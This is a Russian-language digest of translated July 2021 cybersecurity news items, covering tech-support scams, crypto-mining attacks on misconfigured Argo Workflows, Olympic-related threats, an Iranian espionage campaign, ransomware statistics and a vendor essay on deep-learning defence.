Австралийские потребители по-прежнему не доверяли незапрашиваемым контактам, как показал опрос, отметив опрошенных в 2021 году, 88% считали, что очень или в некоторой степени маловероятно, что компания свяжется с ними через нежелательный звонок, всплывающее окно, текстовое сообщение, рекламу или по электронной почте.

«Мошенничество с техподдержкой совершается во всем мире и нацелено на людей всех возрастов. Результаты опроса показывают, что австралийцы чаще сталкиваются с мошенничеством с техподдержкой, если сравнивать их во всем мире, и это показывает, что потребители должны понимать, как работают эти мошенники, чтобы они могли лучше защитите себя от мошенничества», - сказала Мэри Джо Шрейд, региональный главный помощник генерального юрисконсульта подразделения Microsoft Asia Digital Crime.

«Тактика, используемая мошенниками для преследования пользователей в сети, со временем эволюционировала, от чистого холодного звонка до более изощренных уловок, таких как поддельные «всплывающие окна», отображаемые на компьютерах людей».

Отчет также показал, что в период с 2018 по 2021 год в Индии был зафиксирован самый большой скачок в мире, когда речь шла о количестве людей, постоянно терявших деньги. В 2018 году он составлял 14%, а в 2021 году резко вырос до 31%.

Это тесно связано с Индией, а также с Сингапуром, где произошел самый большой скачок телефонного мошенничества в мире за трехлетний период. В Индии он увеличился на восемь процентных пунктов до 31%, а в Сингапуре - более чем вдвое до 34%. Несмотря на это увеличение, в 2021 году Австралия по-прежнему испытывала наибольшее количество нежелательных звонков в мире - 46%.

В Азиатско-Тихоокеанском регионе число случаев мошенничества с технической поддержкой, нацеленных на Японию, оставалось низким - 29%, что ниже 36% в 2018 году. Из тех мошенничеств, которые имели место, 24% были проигнорированы. Но там, где было взаимодействие, поколение Z в возрасте 18-23 лет было тем поколением, которое с наибольшей вероятностью столкнулось с мошенничеством, исходящим из всплывающей рекламы или окна.

«Мошенничество с технической поддержкой будет оставаться проблемой для всей отрасли, пока достаточное количество людей не узнают об этих махинациях и не смогут их избежать», - сказал Шрейд.

«Лучший способ защитить себя для потребителей в Австралии и Азиатско-Тихоокеанском регионе - это узнать о том, как эти мошенники нацелены на людей, с подозрением относиться к любым нежелательным контактам со стороны предполагаемых сотрудников технологических компаний и не позволять людям, которых они не знают, получить удаленный доступ к своим компьютерам».

Другие результаты отчета касались тех, кто потерял деньги из-за мошенничества, которые больше занимались рискованными действиями, такими как использование торрент-сайтов, загрузка музыки и видео и обмен адресами электронной почты в обмен на контент. Эти же люди проявили чрезмерную уверенность в своей компьютерной грамотности.

В то же время считается, что агентства по защите прав потребителей и государственные регулирующие органы несут самую большую ответственность за защиту потребителей от мошенничества». ***(Aimee Chanthadavong. More than half of all Aussies continue to encounter forms of cyber scams in 2021 // ZDNet (https://www.zdnet.com/article/more-than-half-of-all-aussies-continue-to-encounter-forms-of-cyber-scams-in-2021/). 23.07.2021).***

***

Аналитики компании Intezer, занимающейся кибербезопасностью, обнаружили, что киберпреступники теперь преследуют новый вектор атаки на кластеры Kubernetes с помощью неправильно настроенных экземпляров Argo Workflows.

Исследователи безопасности Intezer Райан Робинсон и Николь Фишбейн написали подробный отчет об атаке, отметив, что они уже обнаружили зараженные узлы. Эти двое заявили, что атаки вызывают беспокойство, потому что существуют сотни неправильно настроенных развертываний, и были обнаружены злоумышленники, сбрасывающие криптомайнеров, таких как Kannix / Monero-miner, через этот вектор атаки.

«Мы обнаружили открытые экземпляры Argo Workflows, принадлежащих компаниям из разных секторов, включая технологии, финансы и логистику. Argo Workflows - это механизм рабочих процессов с открытым исходным кодом, ориентированный на контейнеры, разработанный для работы на кластерах K8s. Инстансы Argo Workflows с неправильно настроенными разрешениями позволяют «злоумышленники запускают неавторизованный код в среде жертвы», - заявили Робинсон и Фишбейн.

«Открытые экземпляры могут содержать конфиденциальную информацию, такую как код, учетные данные и имена частных образов контейнеров. Мы также обнаружили, что во многих случаях настроены разрешения, которые позволяют любому посещающему пользователю развертывать рабочие процессы. Мы также обнаружили, что злоумышленники нацелены на некоторые неправильно настроенные узлы.»

Некоторые кибер-злоумышленники смогли воспользоваться неправильно настроенными разрешениями, которые дают им доступ к открытой панели управления Argo, где они могут представить свой собственный рабочий процесс.

По словам исследователей, «Kannix / Monero-miner» не требует особых навыков, и в отчете отмечается, что другие группы безопасности обнаружили крупномасштабные атаки майнинга криптовалюты на кластеры Kubernetes.

«В Docker Hub по-прежнему есть несколько вариантов майнинга Monero, которые могут использовать злоумышленники. Простой поиск показывает, что существует как минимум 45 других контейнеров с миллионами загрузок», - говорится в исследовании.

Фишбейн и Робинсон призывают пользователей получить доступ к панели управления Argo Workflows из неаутентифицированного браузера в режиме инкогнито за пределами корпоративной среды, чтобы проверить, не настроены ли экземпляры неправильно.

Администраторы также могут запросить API экземпляра и проверить код состояния.

Янив Бар-Даян, генеральный директор Vulcan Cyber, объяснил, что сложность и масштаб, присущие развертыванию корпоративного облака, означают, что будут нарушения из-за человеческой ошибки.

«Неверная конфигурация - это всего лишь один из видов уязвимости, создающей риск, а облако - это всего лишь один из векторов атаки, который необходимо отслеживать и смягчать. Если группы безопасности могут понять и определить приоритеты рисков, связанных с неправильной конфигурацией облака наряду с уязвимостями ИТ-инфраструктуры и приложений, у них есть шанс. в снижении рисков и улучшении безопасности бизнеса», - добавил Бар-Даян.

«Облачная безопасность больше не может быть чьей-то проблемой, и недостаточно задавать вопрос о том, безопасна ли сама облачная инфраструктура. Мы должны спросить то же самое о наших приложениях, традиционной инфраструктуре и сетях».

Директор Coalfire Эндрю Барратт отметил, что платформы оркестровки представляют собой интересную поверхность для атак из-за их производительности.

Баррат сказал, что они могут позволить злоумышленнику выполнять очень изощренные боковые атаки, полностью используя масштабы собственных облачных сервисов. Хотя он не против их использования, он сказал, что сейчас важно, чтобы они рассматривались как сложная платформа для атак с множеством возможностей и, как правило, повышенными привилегиями, а также способностью создавать и развертывать ресурсы с немедленными затратами.

«Эти уязвимости существуют уже давно, и группы безопасности уже знают о них в некоторой степени, независимо от платформы - будь то виртуализация, физические центры обработки данных или публичное облако, а также множество различных предложений услуг», - сказал Майкл Кейд., старший глобальный технолог Kasten.

«Это не единственная уязвимость, обнаруженная в средах Kubernetes или более широких операционных системах». ***(Jonathan Greig. Researchers find new attack vector against Kubernetes clusters via misconfigured Argo Workflows instances // ZDNet (https://www.zdnet.com/article/researchers-find-new-attack-vector-against-kubernetes-clusters-via-misconfigured-argo-workflows-instances/). 23.07.2021).***

***

«Федеральное бюро расследований (ФБР) предупреждает об угрозах, потенциально нацеленных на предстоящие Олимпийские игры, хотя доказательства атак, запланированных на Олимпийские игры в Токио-2020, еще не обнаружены.

«ФБР на сегодняшний день не осведомлено о какой-либо конкретной киберугрозе этим Олимпийским играм, но призывает партнеров сохранять бдительность и поддерживать передовой опыт в своих сетевых и цифровых средах», - говорится в сообщении службы разведки США, опубликованном в понедельник.

Как поясняет ФБР, атаки, координируемые криминальными или государственными субъектами угроз, нацеленные на летние Олимпийские игры в Токио 2020, могут включать в себя распределенные атаки типа «отказ в обслуживании» (DDoS), программы-вымогатели, социальную инженерию, фишинговые кампании или внутренние угрозы.

Такие атаки могут нарушить или даже заблокировать прямые трансляции мероприятия, захватить конфиденциальные данные до шифрования или после взлома ИТ-систем или повлиять на цифровую инфраструктуру, поддерживающую Олимпийские игры.

Конечная цель злоумышленников, вероятно, будет состоять в том, чтобы «заработать деньги, посеять неразбериху, повысить свою известность, дискредитировать противников и продвигать идеологические цели».

Летние Олимпийские игры в этом году имеют повышенный потенциал для привлечения дополнительного внимания злоумышленников, учитывая, что они первыми просматривают исключительно через цифровые платформы или телетрансляции, как того требуют ограничения пандемии COVID-19.

По крайней мере, в одном случае данные, принадлежащие Оргкомитету Токио-2020, уже были скомпрометированы в этом году.

«В конце мая 2021 года японская компания Fujitsu, занимающаяся оборудованием и услугами в области информационных технологий, обнаружила нарушение, в результате которого были скомпрометированы данные нескольких ее корпоративных и государственных клиентов, включая Оргкомитет Токио 2020 и Министерство земли, инфраструктуры, транспорта и туризма Японии», сказало ФБР.

Летние Олимпийские игры в Токио-2020 уже использовались в качестве фишинговых приманок

В декабре 2019 года сотрудники летних Олимпийских игр в Токио-2020 уже выпустили предупреждения о фишинговых кампаниях, выдавая себя за Токийский оргкомитет Олимпийских и Паралимпийских игр (Токио 2020).

Это был не первый случай, когда злоумышленники атаковали Олимпийские игры в Токио-2020, поскольку в сентябре 2019 года в качестве потенциальных целей фишинговой кампании были выбраны как американские, так и японские получатели.

Согласно отчету KYODO NEWS, атаки были обнаружены агентством Antuit, занимающимся разведкой угроз, во время наблюдения за группой хакеров в обсуждениях в темной сети.

«Глядя на их диалог, существует высокая вероятность того, что хакерская группа имеет китайское происхождение», - сказал вице-президент японского отделения Antuit Шухей Игараси.

Олимпийские игры были нацелены раньше

В прошлом году Министерство юстиции США обвинило шестерых разведчиков Главного разведывательного управления России (ГРУ), которые, как считается, являются частью поддерживаемой Россией хакерской группы, известной как Sandworm, в хакерских операциях, направленных на проведение зимних Олимпийских игр в Пхенчхане.

В период с декабря 2017 года по февраль 2018 года они координировали целевые фишинговые кампании и разрабатывали вредоносные мобильные приложения, нацеленные на граждан и официальных лиц Южной Кореи, олимпийских спортсменов, партнеров, посетителей и официальных лиц Международного олимпийского комитета (МОК).

Им также было предъявлено обвинение во взломе компьютеров, поддерживающих Зимние Олимпийские игры в Пхенчхане в 2018 году, кульминацией которого стала разрушительная вредоносная атака на церемонию открытия Олимпийских игр в феврале 2018 года с использованием вредоносного ПО, известного как Olympic Destroyer.

«Российские субъекты скрыли истинный источник вредоносного ПО, имитируя код, используемый северокорейской группой, что создает возможность для неправильной атрибуции», - заявило ФБР.

Прямым результатом этой разрушительной атаки стал отказ систем Интернета и телевидения, используемых местными журналистами, освещающими церемонию открытия.

В свете этих предыдущих инцидентов ФБР предлагает «пересмотреть или установить политики безопасности, пользовательские соглашения и планы исправлений для устранения текущих угроз, исходящих от злоумышленников в киберпространстве».

Служба безопасности США также поделилась списком передовых методов, которые могли бы смягчить или даже заблокировать потенциальные атаки на официальных лиц Летних Олимпийских игр в Токио 2020 года или ИТ-инфраструктуру». ***(Sergiu Gatlan. FBI: Threat actors may be targeting the 2020 Tokyo Summer Olympics // Bleeping Computer® (https://www.bleepingcomputer.com/news/security/fbi-threat-actors-may-be-targeting-the-2020-tokyo-summer-olympics/). 20.07.2021).***

***

«Facebook заявил, что разрушил сеть хакеров, связанных с Ираном, которые пытались распространять вредоносное ПО через вредоносные ссылки, которые были предоставлены под вымышленными персонажами. Группа по расследованию кибершпионажа социальной сети приняла меры против группы, отключила их учетные записи и уведомила примерно 200 пользователей, ставших целью.

Хакеры, которые, как считается, были частью группы Tortoiseshell, нацелились на военнослужащих и людей, которые работали в аэрокосмической и оборонной промышленности в Соединенных Штатах, часто тратя месяцы на усилия по социальной инженерии с целью направить цели на контролируемые злоумышленником домены, где их устройства могут быть заражены вредоносным ПО, способствующим шпионажу.

В Facebook было заблокировано и удалено около 200 учетных записей, связанных с хакерской кампанией.

«Эта деятельность имела признаки хорошо обеспеченной ресурсами и настойчивой операции, при этом полагаясь на относительно сильные меры

оперативной безопасности, чтобы скрыть, кто за ней стоит», - говорится в сообщении Facebook. «Наша платформа была одним из элементов гораздо более широкой межплатформенной операции кибершпионажа, и ее активность в Facebook проявлялась в первую очередь в социальной инженерии и выводе людей за пределы платформы (например, электронная почта, службы обмена сообщениями и совместной работы и веб-сайты), а не напрямую распространение самого вредоносного ПО».

Facebook заявил, что сфокусированная кампания знаменует отход от обычной схемы атак Tortoiseshell. Группа, которая, по оценкам, работает с 2018 года, известна тем, что специализируется в первую очередь на индустрии информационных технологий, а не на аэрокосмической и оборонной.

Более того, Facebook сообщил, что в кампании также использовалось несколько различных семейств вредоносных программ, и что по крайней мере часть их вредоносных программ была специально разработана Махаком Райаном Афразом (MRA), ИТ-компанией в Тегеране, связанной с Корпусом стражей исламской революции (КСИР). Facebook сообщил, что некоторые нынешние и бывшие руководители MRA связаны с компаниями, находящимися под санкциями правительства США…». ***(Natalie Gagliordi. Facebook says it disrupted Iranian hacking campaign tied to Tortoiseshell gang // ZDNet (https://www.zdnet.com/article/facebook-says-it-disrupted-iranian-hacking-campaign-tied-to-tortoiseshell-gang/). 15.07.2021).***

***

«Министерство образования Нового Южного Уэльса в четверг объявило, что стало жертвой атаки кибербезопасности.

В заявлении департамента говорится, что ряд его внутренних систем был деактивирован в среду в качестве меры предосторожности.

«Выбор времени создает серьезные проблемы для персонала, поскольку мы готовимся к началу третьего семестра», - сказала министр образования штата Новый Южный Уэльс Джорджина Харриссон. «К счастью, наши команды смогли изолировать проблемы, и мы работаем над повторной активацией служб как можно скорее».

Харриссон сказала, что приоритетом отдела будет безопасность данных о студентах и сотрудниках, и она объяснила, почему было принято предупредительное решение отключить некоторые системы в ходе дальнейшего расследования.

В заявлении говорится, что команды Департамента образования и кибербезопасности Нового Южного Уэльса работают над тем, чтобы к началу третьего семестра был восстановлен нормальный доступ.

Большая часть Нового Южного Уэльса в настоящее время находится на второй неделе из трехнедельной изоляции в ответ на вспышку COVID-19, поразившую штат.

«Я уверен, что проблема будет решена в ближайшее время, и хочу заверить учителей и родителей, что на следующей неделе это никак не отразится на учениках, которые будут учиться дома», - сказал Харриссон.

«Хотя мы уверены, что все системы вернутся к работе до первого дня, третьего семестра, мы размещаем информацию в поддержку домашнего обучения на нашем общедоступном веб-сайте, чтобы можно было продолжить подготовку к началу семестра».

Education сообщила, что тесно сотрудничает с Cyber Security NSW для решения этой проблемы, и что этот вопрос был передан в полицию штата NSW и федеральные агентства.

В ведомстве заявили, что дальнейшие комментарии неуместны, так как дело находится в стадии расследования». ***(Asha Barbaschow. NSW Department of Education struck by cyber attack // ZDNet (https://www.zdnet.com/article/nsw-department-of-education-struck-by-cyber-attack/). 08.07.2021).***

***

«Количество зарегистрированных киберпреступлений составило почти половину от общего числа преступлений в Сингапуре в прошлом году, где количество атак с использованием программ-вымогателей и ботнетов значительно увеличилось. Город-государство ожидает усиления угроз со стороны программ-вымогателей, а также злонамеренных атак на удаленных сотрудников и цепочки поставок.

Согласно последнему отчету Сингапурского киберпространства, опубликованному в четверг Агентством кибербезопасности Сингапура (CSA), Сингапурская группа реагирования на компьютерные чрезвычайные ситуации (SingCERT) в прошлом году обработала 9080 случаев по сравнению с 8491 годом ранее и 4977 в 2018 году. В правительственном агентстве отметили, что в прошлом году наблюдался заметный рост числа программ-вымогателей, онлайн-мошенничества и фишинга, связанного с COVID-19.

В частности, количество зарегистрированных атак с использованием программ-вымогателей значительно увеличилось на 154% в 2020 году, составив 89 инцидентов, по сравнению с 35 в 2019 году. В основном они затронули малый и средний бизнес (SMB) в различных секторах, включая производство, розничную торговлю и здравоохранение.

В одном из таких инцидентов в августе 2020 года предприятие F&B обнаружило, что его серверы и устройства были заражены NetWalker, с запиской о выкупе, перенаправляющей компанию на веб-страницу в Dark Web для просмотра требований о выкупе. Никакие данные компании F&B восстановить не удалось, поскольку она также хранила свои резервные копии на пораженных серверах, и ей пришлось перестраивать свою ИТ-систему с нуля.

CSA связывает рост числа случаев использования программ-вымогателей в Сингапуре с глобальной эпидемией программ-вымогателей, когда такие атаки перестали быть неизбирательными и оппортунистическими по своему характеру в более целенаправленную «охоту на крупную дичь». По сообщению агентства, киберпреступники также перешли к тактике использования программ-вымогателей как услуги и «утечки информации и позора».

Он отметил, что количество вредоносных атак на серверы управления и контроля (C&C) также выросло на 94% до 1026 зарегистрированных инцидентов в

прошлом году. Частично они были вызваны увеличением количества таких серверов, распространяющих вредоносное ПО Emotet и Cobalt Strike, на долю которых приходилось треть вредоносных программ на C&C серверах.

В прошлом году ежедневно выявлялось около 6600 дронов-ботнетов с сингапурскими IP-адресами по сравнению с 2300 в 2019 году. CSA обнаружила, что в 2020 году среди зараженных ботнетов преобладали варианты вредоносных программ Mirai и Gamarue, при этом прежние вредоносные программы были нацелены в первую очередь на устройства Интернета вещей (IoT).

Но в то время как тематические фишинговые кампании COVID-19 были широко распространены во всем мире, фишинговые URL-адреса, размещенные в Сингапуре, упали на 1% до примерно 47 000 в прошлом году. Ущерб, затронувший веб-сайт.sg, также снизился на 43% до 495 в прошлом году, при этом малые и средние предприятия снова пострадали от таких атак. В CSA заявили, что это падение может быть связано с тем, что группы активистов выбрали таргетинг на другие платформы, такие как социальные сети, для повышения осведомленности об их причинах.

Всего в прошлом году было зарегистрировано 16 117 киберпреступлений, что составляет 43% всех преступлений в Сингапуре. Это число также выросло с 9349 случаев в 2019 году.

Интернет-мошенничество было наиболее распространенной формой киберпреступности в городе-государстве: число таких случаев увеличилось на 62% до 12 251 в прошлом году по сравнению с 7 580 в 2019 году. CSA отметила, что это также связано с ускоренным ростом электронной коммерции. в качестве торговой площадки сообщества и платформ социальных сетей, поскольку все больше пользователей в Сингапуре обращаются к онлайн-покупкам в условиях глобальной пандемии.

CSA заявило: «В течение 2020 года глобальные субъекты угроз извлекали выгоду из беспокойства и страха, вызванного пандемией, с последствиями, которые ощущали отдельные лица и предприятия. связанные исследования и операции, а также операции по отслеживанию контактов.

«Некоторые из этих тенденций были отражены на местном уровне, где наблюдался всплеск инцидентов с программами-вымогателями, а также появление фишинговых действий, связанных с COVID-19. Это также совпало с ростом числа случаев работы на дому, поскольку отдельные лица и компании приняли новые технологии для поддержания непрерывности бизнеса», - сказали в правительственном агентстве.

Он указывал на все более сложную среду безопасности, в которой предполагалось, что программы-вымогатели превратятся в «массовую и системную угрозу». Он предупредил, что такие атаки больше не ограничиваются спорадическими и изолированными инцидентами, отметив, что недавняя волна громких атак с использованием программ-вымогателей по всему миру затронула критически важных поставщиков услуг и крупные организации, включая Colonial Pipeline и JBS.

Эти инциденты указывают на то, что кибератаки могут иметь реальные последствия и могут стать проблемой национальной безопасности, сообщает CSA.

Он призвал организации оценить свою готовность к кибербезопасности и убедиться, что их системы достаточно устойчивы для восстановления после таких атак.

Он также предупредил, что киберпреступники будут все чаще нацеливаться на удаленных сотрудников, учитывая рост таких схем работы в условиях пандемии COVID-19. «Плохо сконфигурированные сетевые и программные системы, которые являются частью новых экосистем удаленной работы, расширили поверхность атаки и подвергли организации большему риску кибератак», - сказал CSA.

Ожидалось, что цепочки поставок также станут мишенями, а атаки станут более изощренными, говорится в сообщении, указывая на нарушение SolarWinds.

Генеральный директор CSA и комиссар по кибербезопасности Дэвид Ко сказал в отчете: «Угрозы кибербезопасности для цепочек поставок существуют уже более десяти лет, но влияние атаки SolarWinds было беспрецедентным. Этот инцидент является ярким напоминанием о рисках кибербезопасности, которые все компании - большие и малые - сталкиваются в рамках своих цепочек поставок и при привлечении сторонних поставщиков, что практически неизбежно в сегодняшней сильно взаимосвязанной глобальной экономике.

Он добавил, что программы-вымогатели из «спорадической неприятности», поражающей лишь несколько машин, превратились в серьезную угрозу, затрагивающую целые сети крупных предприятий. «Сейчас это серьезная проблема безопасности, которая затрагивает секторы и страны критически важной информационной инфраструктуры (CII)», - сказал Кох». ***(Eileen Yu. Singapore sees spikes in ransomware, botnet attacks // ZDNet (https://www.zdnet.com/article/singapore-sees-spikes-in-ransomware-botnet-attacks/). 08.07.2021).***

***

«Новое исследование почти 12000 австралийцев показало, что треть взрослого населения сталкивалась с киберпреступностью в течение своей жизни, причем 14% сообщили о нарушении работы сетевых систем за последние 12 месяцев.

Эксперты из Австралийского института криминологии (AIC) и Университета Флиндерса говорят, что, поскольку все формы киберпреступности уже обходятся в триллионы ежегодно во всем мире, преступления связаны со значительными уровнями личной виктимизации, включая прямые потери, а также высокую стоимость предотвращения будущих атак.

Снимок стоимости «чистой киберпреступности» до COVID-19 в 2019 году показал приблизительный общий экономический ущерб в 3,5 миллиарда долларов, включая 1,4 миллиарда долларов, потраченных на профилактику, 1,9 миллиарда долларов в деньгах, непосредственно потерянных жертвами, и 597 миллионов долларов, потраченных на борьбу с последствия виктимизации.

Всего около 389 миллионов долларов было возвращено жертвам - едва оплачивая расходы на устранение инцидентов - по оценкам исследования, около 2,8 миллиона австралийцев пострадали за последний год, и почти 6,7 миллиона взрослых австралийцев могли стать жертвами в любое время в прошлом.

Жертвы возмещают лишь небольшую часть финансовых потерь.

«Чистая киберпреступность» включает взлом, распространение вирусов и других вредоносных программ, а также распределенные атаки типа «отказ в обслуживании». Хотя это связано с преступлениями против машин и сетей, по оценкам, другие формы киберпреступлений с использованием личных данных обходятся австралийским правительственным учреждениям, частным лицам и предприятиям в дополнительных суммах более чем в 3 миллиарда долларов в год.

«Чистая киберпреступность - это высокодоходная преступная деятельность, которая приводит к значительным финансовым потерям для австралийцев», - говорит профессор Университета Флиндерс Рассел Смит, который также предупреждает о потенциальном росте онлайн-мошенничества в результате возможностей для нечестности, созданных в связи с COVID-19. экономические сбои.

«Судя по текущей информации, поскольку киберпреступники становятся все более изощренными, становится очевидным, что необходимость в дополнительных расходах на профилактику будет увеличиваться.

«Точно так же крайне важно, чтобы финансовый ущерб, связанный с киберпреступностью, оценивался таким образом, чтобы ресурсы для мероприятий по предотвращению и реагированию могли быть наиболее эффективно нацелены, а также можно было разработать базовый уровень для измерения воздействия будущих ответных мер политики», - говорит профессор Смит.

Расследование преступлений с использованием личных данных (Smith & Franks 2020), проведенное в 2018-2019 гг., Показало, что организациям Содружества, агентствам штатов и территорий (включая полицию), частным лицам и предприятиям было потрачено 3,1 млрд долларов преступление против личных данных.

Для совершения киберпреступлений используются технологии, позволяющие упростить совершение обычных преступлений, таких как кража личных данных, мошенничество, преследование и преследование, и снизить риск их обнаружения.

«Киберпреступность - это растущая, не имеющая границ и постоянно развивающаяся совокупность преступлений, которые могут угрожать отдельным лицам, предприятиям, правительству и национальной безопасности», - говорит ведущий автор новой публикации AIC, г-н Коэн Теуниссен.

«Это исследование представляет собой первое крупномасштабное австралийское исследование распространенности чистой киберпреступности и финансового ущерба.

«Важно отметить, что это консервативная оценка, поскольку многие жертвы не могли сообщить, сколько они потеряли или сколько потратили на борьбу с последствиями киберпреступности. Это также исключает расходы для бизнеса и правительства от чистой киберпреступности», - сказал г-н Тойниссен. Говорит». ***(Cybercrime Bill to Rise During Pandemic // Newswise (https://www.newswise.com/articles/cybercrime-bill-to-rise-during-pandemic). 21.07.2021).***

***

«Последствия успешной кибератаки могут быть разрушительными. Используя различные формы вымогательства, преступники могут использовать украденные данные и другие критически важные для бизнеса активы, включая конфиденциальные финансовые данные и данные о клиентах, чтобы удерживать компании в заложниках с помощью только одной кампании. Средняя стоимость фишинг-атаки в прошлом году составила 832 500 долларов, а стоимость атак нулевого дня - около 1 238 000 долларов. Если потратить эту сумму на восстановление после кибератаки, компания может встать на колени. Сегодняшние кибератаки представляют собой вполне реальные угрозы существованию предприятий, и руководители высшего звена начинают полностью осознавать серьезность этих угроз. Очень важно, чтобы организации инвестировали в решения, которые помогут остановить злоумышленников до того, как они войдут в их среду.

Однако с таким количеством предлагаемых решений компании часто останавливаются на решениях, которые не обеспечивают необходимый уровень защиты от сложных вредоносных программ. Ожидание смягчающего подхода к защите от атаки - это рецепт неудачи. Многие решения на рынке идентифицируют атаки только после того, как они были выполнены и присутствуют в среде, а это уже слишком поздно. Если эти проверки занимают до 60 секунд для обнаружения неизвестной угрозы, это на 60 секунд слишком долго.

Где существующие подходы к безопасности терпят неудачу

Положение организации в области безопасности зависит от ряда факторов - возраста компании, финансовой жизнеспособности и опыта группы безопасности, чтобы назвать некоторые из них. Там, где более крупные и более опытные компании имеют больший бюджет и более зрелый стек безопасности с многоуровневой защитой, более молодые или малые предприятия могут иметь менее сложные настройки безопасности. Этим организациям часто приходится применять более реактивный подход к кибербезопасности из-за ограниченных ресурсов, что делает их открытыми для большего воздействия.

По мере развития кибербезопасности команды SOC увидели, что некоторые методы предотвращения не работают, поэтому они обратили свое внимание на обнаружение конечных точек и реагирование на них (EDR). Считалось, что если они смогут понять, откуда взялась атака, то смогут устранить эти слабые места, чтобы предотвратить дальнейшие атаки. Однако скорость, с которой развиваются киберугрозы, означает, что злоумышленники находят новые и более быстрые способы доступа к целевым средам.

Есть ряд практик, которые все организации должны использовать как часть своих базовых систем защиты. Обучение сотрудников по вопросам безопасности для обеспечения хорошей кибергигиены, включая упор на то, как выявлять попытки фишинга, должно быть неотъемлемой частью корпоративной культуры. Вдобавок ко всему, все системы должны быть исправлены, обновлены, и должна быть внедрена эффективная платформа защиты конечных точек (EPP). Но что делать дальше?

Глубокое обучение - это следующий этап эволюции кибербезопасности

Глубокое обучение - это наиболее продвинутая разновидность искусственного интеллекта, основанная на том, как работает человеческий мозг. Чем больше данных поступает в глубокие нейронные сети, лежащие в основе глубокого обучения, тем лучше они интуитивно понимают значение новых данных. Следовательно, не требуется, чтобы человек помогал ему понимать значение новых функций. Эта неврологическая сеть «обучается» образцам необработанных данных, которые содержат миллионы файлов, помеченных как вредоносные и безопасные. Со временем система учится инстинктивно отличать вредоносный код от безвредного.

Машинное обучение (ML) совсем другое

ML, с другой стороны, требует ручных процессов, когда сотрудник должен классифицировать наборы данных и передавать их обратно в систему. Киберпреступники недавно начали манипулировать машинным обучением для собственной выгоды, используя такие приемы, как отравление наборов данных, чтобы система не могла распознать вредоносный контент. Безопасность на основе глубокого обучения не подвержена этим методам атак, поскольку использует необработанные данные, которые гораздо более устойчивы к злоумышленникам. Глубокое обучение имитирует человеческий мозг в том смысле, что оно обрабатывает и классифицирует данные без присмотра, без необходимости вмешательства человека, и, следовательно, становится предсказуемым. Эта технология прогнозирования позволяет незамедлительно предотвращать угрозы и сыграет важную роль в предотвращении некоторых из самых громких недавних атак в мире, таких как атака программ-вымогателей на Colonial Pipeline, когда преступники получали доступ к системам компании через вредоносную электронную почту. Кибербезопасность на основе глубокого обучения предназначена для выявления и пресечения этих типов атак на их пути.

Развитие мышления вокруг лучшего решения

Имея полные превентивные варианты, компании, которые предпочитают использовать решения по снижению рисков, предоставляют злоумышленникам уязвимости для доступа к своим средам. Предыдущие атаки продемонстрировали, что как только злоумышленник попадает в среду, он начинает вставлять лазейки, чтобы разрешить доступ позже. Решения, предназначенные для смягчения кибератак, часто имеют ограниченный объем, поскольку они могут применяться только в определенных областях сети, поэтому слабые места часто остаются.

Команды безопасности перегружены обязанностями до такой степени, что реальные угрозы могут быть пропущены из-за тысяч предупреждений, поступающих в любой день, что приводит к усталости от предупреждений. Большинство решений, хотя и основываются на автоматизации, все же полагаются на определенный уровень человеческого взаимодействия. Однако глубокое обучение снижает нагрузку на команды SOC и освобождает их время, поскольку оно функционирует независимо.

Еще больше усложняет ситуацию то, что конкурентная среда кибербезопасности и различные подходы к остановке кибератак могут затруднить определение «наилучшего пути вперед» даже для самого начитанного киберпрофессионала. Хотя компании хотят продвигать свое предложение как

«следующее лучшее» с точки зрения ИИ и машинного обучения, не все решения созданы равными (несмотря на то, что может подразумевать их маркетинг). Подобно тому, как искусственный интеллект и машинное обучение стали модными словечками в последние годы, глубокое обучение бессмысленно используется компаниями, не задумываясь о том, что это такое или может на самом деле делать. Понятно, что предприятиям практически невозможно узнать, какое решение им подходит, когда у них есть сотни вариантов, и все они связаны с различными обещаниями киберзащиты.

Образование и терпение - ключевые факторы, помогающие предприятиям найти для них правильное решение. Глубокое обучение - это концепция, которую часто путают с машинным обучением, поэтому многие клиенты могут не полностью понимать технологию, лежащую в основе этого, поэтому поставщики должны заранее предоставить необходимые знания.

Предотвращение угроз с помощью глубокого обучения

Глубокое обучение может обеспечить новый уровень защиты от кибератак, с которыми сегодня сталкиваются организации. Оставаться на переднем крае инноваций - это единственный способ опередить новые и постоянно развивающиеся кибератаки, защищая вашу организацию, сотрудников и клиентов.

Тем не менее, слишком многие организации по-прежнему соглашаются на подход к кибербезопасности, при котором они считают успехом остановку атаки после того, как хакеры окажутся в их среде. Глубокое обучение предназначено для добавления в существующий стек безопасности, а не для замены старых технологий, что делает вашу безопасность полноценной. Эта интеграция может уменьшить количество предупреждений, которые группа безопасности получает каждую неделю, на 25 процентов и более. Это также позволит предприятиям отказаться от традиционных систем обнаружения и реагирования, которые не способны предотвращать атаки до проникновения в систему. Речь идет о том, чтобы стать более активным и менее реактивным.

Развертывание решения для прогнозирования и предотвращения, построенного на основе глубокого обучения, сделает многоуровневый стек безопасности чрезвычайно надежным в предотвращении известных и неизвестных кибератак. Когда негативные последствия успешной атаки настолько велики, время смягчения последствий прошло. Официально настало время для эры профилактики». ***(Chuck Everette. Stop mitigating cybersecurity threats and start preventing them // ITProPortal (https://www.itproportal.com/features/stop-mitigating-cybersecurity-threats-and-start-preventing-them/). 26.07.2021).***

***

«Согласно отчету Fitch Ratings, опубликованному в четверг днем, постоянные угрозы со стороны продолжающихся кибератак окажут «существенное давление на доходы и расходы» на некоммерческие больницы.

Fitch заявило, что сектор здравоохранения остается «средой, богатой целями» из-за большого количества конфиденциальных данных, связанных с уходом за пациентами и операциями.

По данным Fitch, здравоохранение было наиболее целевой отраслью для кибератак в 2020 году, и эта тенденция усугубилась пандемией COVID-19. Переход к удаленной работе предоставил хакерам больше возможностей для проникновения в медицинские организации.

В отчете говорится, что эти утечки данных и атаки привели к тому, что средняя стоимость восстановления записей пациентов выросла на 16% по сравнению с прошлым годом, согласно оценкам Министерства здравоохранения и социальных служб (HHS).

«Выплаты программ-вымогателей и усилия по защите или «укреплению» систем здравоохранения и киберзащиты влияют на финансовую гибкость больниц, увеличивая текущие операционные расходы», - говорится в отчете. «Атаки также могут препятствовать получению доходов и возможности своевременно возмещать расходы, особенно если они влияют на способность больницы выставлять счета пациентам, когда финансовые записи скомпрометированы или системы заблокированы. Время восстановления и затраты, связанные с утечкой критически важных данных, не не только несут значительное финансовое бремя, но и ограничивают способность медицинских учреждений оказывать помощь, что в конечном итоге может повлечь за собой человеческие потери».

Отчет Fitch - это последняя информация о цифровых уязвимостях, с которыми сталкиваются медицинские работники.

